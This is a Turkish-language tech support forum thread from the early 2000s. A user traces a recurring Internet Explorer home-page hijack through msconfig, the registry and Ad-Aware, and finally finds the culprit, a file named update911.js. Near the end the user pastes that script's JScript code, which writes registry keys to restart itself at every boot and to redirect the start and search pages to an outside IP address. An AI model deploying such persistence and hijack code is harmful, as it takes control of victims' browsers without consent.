internet explorer ve su url -Sorun cozuldu-

20 yıl

Çavuş

Konu Sahibi

Herkese merhaba,
.http://81.211.105.9/index.php?v=1 :((((
arkadaslar bu url benim explorer'in baslangic sayfasina yerlesiyor ve malum her calistirdigimda bu url ile geliyor. E ben bunu explorerdan sildim olmadi. Regeditten internet explorerla ilgili bolume girip sildim yine olmadi. ADawareyi denedim bu hic banamisin demedi ve hala israrla cikmakta devam ediyor. Bunu nasil silecegimi biri bana soylesin. Saygilar

M

mehmetmetingülcan

20 yıl

Yarbay

başlat--> Çalıştır--> msconfig yaz
ordaki Başlangıç sekmesindeki dosyaların ismini bi kağıda yaz
sonra hepsini buraya yaz
muhakkak kendini başlangıçtan çağırtıyor olmalı
virus işine benziyor

D

Dalak

20 yıl

Çavuş

Konu Sahibi

ikeymain c:\progra~1\a4tech...
Amoumain "" "" "" ""
Nvcpl Rundll32.exe c:\wi...
nwiz nwiz.exe /install
Lmonitor c:\progra~1\...
Soundman soundman.exe
nvmctray rundll32 c:\wi..
ctfmon c:\windows\system...
popup c:\progra~1\tweakxp...
adblocker "" """ " " "
Getright
pcalert4
Ubisoft Register
ve search diye bir sekme var. c:\documents and settings\... diyerek gidiyor. Bunun onceden cek isaretini kaldirmistim. Ama yine banamisin demedi. Yani baba kafamin almadigi registry den silmeme karsin ki manuel olarak tek tek aradim.Ama hala banamisin demiyor yaw. Bu sayfada umaxsearch diye bir siteye baglaniyor. Bazen google birseyler aratiyorum arattigim sitelerden birinin uzerine gelip tikladigimda bu site aciliyor ve kendi kendine benim aradigim seyi kendisi search etmeye basliyor. :(((( kafayii yiyiyiyceeemmm

D

Dalak

20 yıl

Çavuş

Konu Sahibi

ikeymain c:\progra~1\a4tech...
Amoumain "" "" "" ""
Nvcpl Rundll32.exe c:\wi...
nwiz nwiz.exe /install
Lmonitor c:\progra~1\...
Soundman soundman.exe
nvmctray rundll32 c:\wi..
ctfmon c:\windows\system...
popup c:\progra~1\tweakxp...
adblocker "" """ " " "
Getright
pcalert4
Ubisoft Register
ve search diye bir sekme var. c:\documents and settings\... diyerek gidiyor. Bunun onceden cek isaretini kaldirmistim. Ama yine banamisin demedi. Yani baba kafamin almadigi registry den silmeme karsin ki manuel olarak tek tek aradim.Ama hala banamisin demiyor yaw. Bu sayfada umaxsearch diye bir siteye baglaniyor. Bazen google birseyler aratiyorum arattigim sitelerden birinin uzerine gelip tikladigimda bu site aciliyor ve kendi kendine benim aradigim seyi kendisi search etmeye basliyor. :(((( kafayii yiyiyiyceeemmm

M

mewluth

20 yıl

Yarbay

soundman.exe ne dostum tanıdık mı?

L

leonheart

20 yıl

Yüzbaşı

soundman büyük ihtimal onboard Avance sesindir (bunu exploit eden bi virus cikmadiysa tabii :) ). Registry'ye bakınca aynı oturumda diger yerlere (msconfig fln) de bak. Yani bir defa da hem kontrol hem antivirus. Yoksa reg'den sildigin bir dahaki sefere baska yerden acilabilir.

D

Dalak

20 yıl

Çavuş

Konu Sahibi

slm arkadaslar,
bugun makinanin basina oturdum. Yine kontrol namina. Program filesin icine baktigimda searchassistant diye bir dizin vardi. birde orbit diye bir dizin vardi. Bu orbitin ayrica common files dizininde OE diye paylastigi bir dizin vardi. Neyse bunlari sildim. REgisterdan da kaldirdim. Sonra yine olmadi. Cok ilginc makinayi resetledim geri actim bu sefer msconfigten bir baktim ITE.exe diye bir dosya windows dizininden calistiriliyor. Registerdan yine bir kurcaladim buda bu orbit diziniyle alakali birsey cikti. Sonra N-case diye bir dizin cikti. Ad-aware bunun icin winsock32.dll 'le bir iliskisi oldugunu ve zarar seviyesinide HIGH olarak gosteriyordu. Neyse uzatmayim anlattiklarimla ilgili herseyi msconfig ve registerdan yok ettim. Norton 2003'u kurdum o da birsey bulamadi. Neyse daha format atali 2 hafta olmustu. Yine formatlayacagiz heralde.
Ayrica Soundman su msi anakartlarin onboard sesiyle ilgili bir prg.
SAygilar oguz.

D

Dalak

20 yıl

Çavuş

Konu Sahibi

Arkadaslar sorunu buldum. Sorun update911.js adli bir dosyadan kaynaklaniyormus. Windows dizinine yerlesmis ve makina her acilista bunu otomatik olarak yukluyor. Valla bu scriptti kim yazdiysa onu iyi edecem ama nasil bulucam:)) Neyse basinizi agrittigim icin kusura bakmayin.
Scripttin kodunu buraya yaziyorum. Ilgilenenler bakabilir.
/var url = "http://81.211.105.9/index.php?v=1";
/var burl = "http://81.211.105.9/search.php?v=1";
/var fso = new ActiveXObject("Scripting.FileSystemObject");
/var tfolder = fso.GetSpecialFolder(0);
/var filepath = tfolder + "\\update911.js";
/var Shell = new ActiveXObject("WScript.Shell");
/Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page",url);
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Page",url);
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Search Bar",burl);
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Search Asst","no");
/Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD");
saglicakla kalin.

P

pac@man

20 yıl

Yüzbaşı

Halletmişsin gibi görünüyo, Orbiteplorer galiba İnternet Optimizer' in yeni bir tipi, o bulaşmış bide Ncase''i kaldırmak için küçük bi NCase Uninstaller vardı bunlarla bidaha olmuo, kolay gelsin..

M

mehmetmetingülcan

20 yıl

Yarbay

sorunun hallolmuş
hadi gözün aydın
ilerde böyle bi sorunla karşılaşırsan yine yaz
yardım ederiz
sen de sağlıcakla kal